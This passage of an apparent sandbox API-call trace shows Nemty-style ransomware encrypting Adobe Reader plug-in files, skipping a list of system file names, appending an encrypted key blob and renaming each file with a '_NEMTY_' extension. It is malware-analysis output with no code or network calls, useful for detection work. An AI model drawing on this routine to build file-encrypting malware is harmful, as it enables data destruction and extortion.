dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.239] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.239] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.239] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.241] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.241] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.241] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.241] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.241] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.241] CloseHandle (hObject=0x2f0) returned 1 [0191.241] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.242] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.242] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CAT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.cat._nemty_kgobjgd_")) returned 1 [0191.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.242] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.243] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.CHS", cAlternateFileName="QUICKT~1.CHS")) returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2=".") returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="..") returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="...") returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="windows") returned -1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="$RECYCLE.BIN") returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="rsa") returned -1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="NTDETECT.COM") returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="ntldr") returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="MSDOS.SYS") returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="IO.SYS") returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="boot.ini") returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="boot.ini") returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="ntuser.dat") returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="desktop.ini") returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="CONFIG.SYS") returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="RECYCLER") returned -1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="BOOTSECT.BAK") returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="bootmgr") returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="programdata") returned 1 [0191.243] lstrcmpiW (lpString1="QuickTime.CHS", lpString2="appdata") returned 1 [0191.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHS", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CHS", lpUsedDefaultChar=0x0) returned 13 [0191.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHS", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CHS", lpUsedDefaultChar=0x0) returned 13 [0191.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.243] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHS", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CHS", lpUsedDefaultChar=0x0) returned 13 [0191.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHS", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CHS", lpUsedDefaultChar=0x0) returned 13 [0191.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.244] Sleep (dwMilliseconds=0x5) [0191.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25a49e30, dwHighDateTime=0x1d561e8)) [0191.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25a49e30, dwHighDateTime=0x1d561e8)) [0191.254] GetLastError () returned 0x0 [0191.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.254] GetLastError () returned 0x0 [0191.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.254] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.254] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.254] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.254] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="ZjEBHDyoPK917b6C2TvRmek5I5nl9B4FsR7pg7flIu0Ey2TrtAD16YA6oZK8rC5x\r\noiU3CZmCZIUY07jCL6q8Xn4kPBc+NO++72PBRQ1geSKEP2FWZG+dY/Df08Eq9IG7\r\nYgNEx4c10HF6meJczKMhFnLNaFygCc24wFZTcKfaQbaIye9A8/Kh4lskCYS4Zpys\r\nnZOm+8gLwWbviePejM8KfQHe/XovvFgUq3rQt+CQTaKFvquwgvkn6kwP6ul4o/cE\r\nft8ifoN2k4bU8jif4ITL+g3jJ595ElEIZ7n0N6U7ftYIyWQIFx0za8CdSnESvzMb\r\n2d5PhSJKNrdVHsy8rqnNwQ==\r\n", pcchString=0x653e29c) returned 1 [0191.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.254] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.255] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.255] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.255] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.255] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.257] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.257] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.257] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.257] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.257] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.257] CloseHandle (hObject=0x2f0) returned 1 [0191.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.257] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.257] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.258] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.258] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.chs._nemty_kgobjgd_")) returned 1 [0191.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.258] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.259] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.CHT", cAlternateFileName="QUICKT~1.CHT")) returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2=".") returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="..") returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="...") returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="windows") returned -1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="$RECYCLE.BIN") returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="rsa") returned -1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="NTDETECT.COM") returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="ntldr") returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="MSDOS.SYS") returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="IO.SYS") returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="boot.ini") returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="boot.ini") returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="ntuser.dat") returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="desktop.ini") returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="CONFIG.SYS") returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="RECYCLER") returned -1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="BOOTSECT.BAK") returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="bootmgr") returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="programdata") returned 1 [0191.259] lstrcmpiW (lpString1="QuickTime.CHT", lpString2="appdata") returned 1 [0191.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHT", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CHT", lpUsedDefaultChar=0x0) returned 13 [0191.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHT", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CHT", lpUsedDefaultChar=0x0) returned 13 [0191.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHT", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CHT", lpUsedDefaultChar=0x0) returned 13 [0191.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHT", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CHT", lpUsedDefaultChar=0x0) returned 13 [0191.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.260] Sleep (dwMilliseconds=0x5) [0191.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25a6ff90, dwHighDateTime=0x1d561e8)) [0191.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25a6ff90, dwHighDateTime=0x1d561e8)) [0191.269] GetLastError () returned 0x0 [0191.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.270] GetLastError () returned 0x0 [0191.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.270] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.270] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.270] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.270] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.270] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.270] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: 